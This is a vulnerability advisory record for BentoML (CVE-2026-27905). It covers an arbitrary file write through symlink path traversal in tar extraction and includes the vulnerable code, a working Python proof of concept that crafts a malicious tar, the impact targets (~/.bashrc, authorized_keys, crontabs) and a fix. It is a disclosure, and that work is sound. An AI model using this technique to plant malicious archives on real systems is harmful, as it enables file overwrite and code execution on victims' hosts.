id: PYSEC-2026-2398 published: "2026-07-13T14:36:40.716464Z" modified: "2026-07-13T16:03:36.970430Z" aliases: - CVE-2026-27905 - GHSA-m6w7-qv66-g3mf summary: BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction details: "# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n os.makedirs(destination, exist_ok=True)\n for member in tar.getmembers():\n fn = member.name\n path = os.path.abspath(os.path.join(destination, fn))\n if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE\n continue # Only checks member path, NOT symlink target\n if member.issym():\n tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target\n else:\n fp = tar.extractfile(member)\n with open(path, \"wb\") as destfp: # Line 92: open() FOLLOWS symlinks\n shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n buf = io.BytesIO()\n with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n sym = tarfile.TarInfo(name='escape')\n sym.type = tarfile.SYMTYPE\n sym.linkname = target_dir\n tar.addfile(sym)\n info = tarfile.TarInfo(name=f'escape/{target_file}')\n info.size = len(payload)\n tar.addfile(info, io.BytesIO(payload))\n buf.seek(0)\n return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n extract_dir = os.path.join(tmpdir, 'extract')\n target_dir = os.path.join(tmpdir, 'outside')\n os.makedirs(target_dir)\n \n mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n \n # Reproduce filesystem.py:58-96\n os.makedirs(extract_dir, exist_ok=True)\n for member in tar.getmembers():\n path = os.path.abspath(os.path.join(extract_dir, member.name))\n if not Path(path).is_relative_to(extract_dir): continue\n if member.issym():\n tar._extract_member(member, path) # Symlink target NOT checked\n else:\n fp = tar.extractfile(member)\n os.makedirs(os.path.dirname(path), exist_ok=True)\n if fp:\n with open(path, 'wb') as destfp: # Follows symlink!\n shutil.copyfileobj(fp, destfp)\n \n assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n if not Path(target).is_relative_to(dest):\n logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" affected: - package: name: bentoml ecosystem: PyPI purl: pkg:pypi/bentoml ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 1.4.36 versions: - 0.0.1 - 0.0.2 - 0.0.3 - 0.0.5 - 0.0.6a0 - 0.0.7 - 0.0.7.dev0 - 0.0.8 - 0.0.8.post1 - 0.0.9 - 0.1.1 - 0.1.2 - 0.10.0 - 0.10.1 - 0.11.0 - 0.11.dev0 - 0.12.0 - 0.12.1 - 0.13.0 - 0.13.1 - 0.13.2 - 0.2.0 - 0.2.1 - 0.2.2 - 0.3.0 - 0.3.1 - 0.3.3 - 0.3.4 - 0.4.0 - 0.4.1 - 0.4.2 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.7 - 0.4.8 - 0.4.9 - 0.5.0 - 0.5.1 - 0.5.2 - 0.5.3 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.6.0 - 0.6.1 - 0.6.2 - 0.6.3 - 0.7.0 - 0.7.1 - 0.7.2 - 0.7.3 - 0.7.4 - 0.7.5 - 0.7.6 - 0.7.7 - 0.7.8 - 0.8.0 - 0.8.1 - 0.8.2 - 0.8.3 - 0.8.4 - 0.8.5 - 0.8.6 - 0.9.0 - 0.9.0rc0 - 0.9.1 - 0.9.2 - 1.0.0 - 1.0.0.dev0 - 1.0.0.dev1 - 1.0.0a1 - 1.0.0a2 - 1.0.0a3 - 1.0.0a4 - 1.0.0a5 - 1.0.0a6 - 1.0.0a7 - 1.0.0rc0 - 1.0.0rc1 - 1.0.0rc2 - 1.0.0rc3 - 1.0.10 - 1.0.11 - 1.0.12 - 1.0.13 - 1.0.14 - 1.0.15 - 1.0.16 - 1.0.17 - 1.0.18 - 1.0.19 - 1.0.2 - 1.0.20 - 1.0.21 - 1.0.22 - 1.0.23 - 1.0.24 - 1.0.25 - 1.0.3 - 1.0.4 - 1.0.5 - 1.0.6 - 1.0.7 - 1.0.8 - 1.0.9 - 1.1.0 - 1.1.1 - 1.1.10 - 1.1.11 - 1.1.2 - 1.1.3 - 1.1.4 - 1.1.5 - 1.1.6 - 1.1.7 - 1.1.8 - 1.1.9 - 1.2.0 - 1.2.0a0 - 1.2.0a1 - 1.2.0a2 - 1.2.0a3 - 1.2.0a4 - 1.2.0a5 - 1.2.0a6 - 1.2.0a7 - 1.2.0rc1 - 1.2.1 - 1.2.10 - 1.2.11 - 1.2.12 - 1.2.13 - 1.2.14 - 1.2.15 - 1.2.16 - 1.2.17 - 1.2.18 - 1.2.19 - 1.2.1a1 - 1.2.2 - 1.2.20 - 1.2.3 - 1.2.4 - 1.2.5 - 1.2.6 - 1.2.7 - 1.2.8 - 1.2.9 - 1.3.0 - 1.3.0a1 - 1.3.0a2 - 1.3.0a3 - 1.3.1 - 1.3.10 - 1.3.11 - 1.3.12 - 1.3.13 - 1.3.14 - 1.3.15 - 1.3.16 - 1.3.17 - 1.3.18 - 1.3.19 - 1.3.2 - 1.3.20 - 1.3.21 - 1.3.22 - 1.3.3 - 1.3.4.post1 - 1.3.5 - 1.3.6 - 1.3.7 - 1.3.8 - 1.3.9 - 1.4.0 - 1.4.0a1 - 1.4.0a2 - 1.4.1 - 1.4.10 - 1.4.11 - 1.4.12 - 1.4.13 - 1.4.14 - 1.4.15 - 1.4.16 - 1.4.17 - 1.4.18 - 1.4.19 - 1.4.2 - 1.4.20 - 1.4.21 - 1.4.22 - 1.4.23 - 1.4.24 - 1.4.25 - 1.4.26 - 1.4.27 - 1.4.28 - 1.4.29 - 1.4.3 - 1.4.30 - 1.4.31 - 1.4.32 - 1.4.33 - 1.4.34 - 1.4.35 - 1.4.4 - 1.4.5 - 1.4.6 - 1.4.7 - 1.4.8 - 1.4.9 references: - type: WEB url: https://github.com/bentoml/BentoML/security/advisories/GHSA-m6w7-qv66-g3mf - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-27905 - type: WEB url: https://github.com/bentoml/BentoML/commit/4e0eb007765ac04c7924220d643f264715cc9670 - type: PACKAGE url: https://github.com/bentoml/BentoML - type: PACKAGE url: https://pypi.org/project/bentoml - type: ADVISORY url: https://github.com/advisories/GHSA-m6w7-qv66-g3mf severity: - type: CVSS_V4 score: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N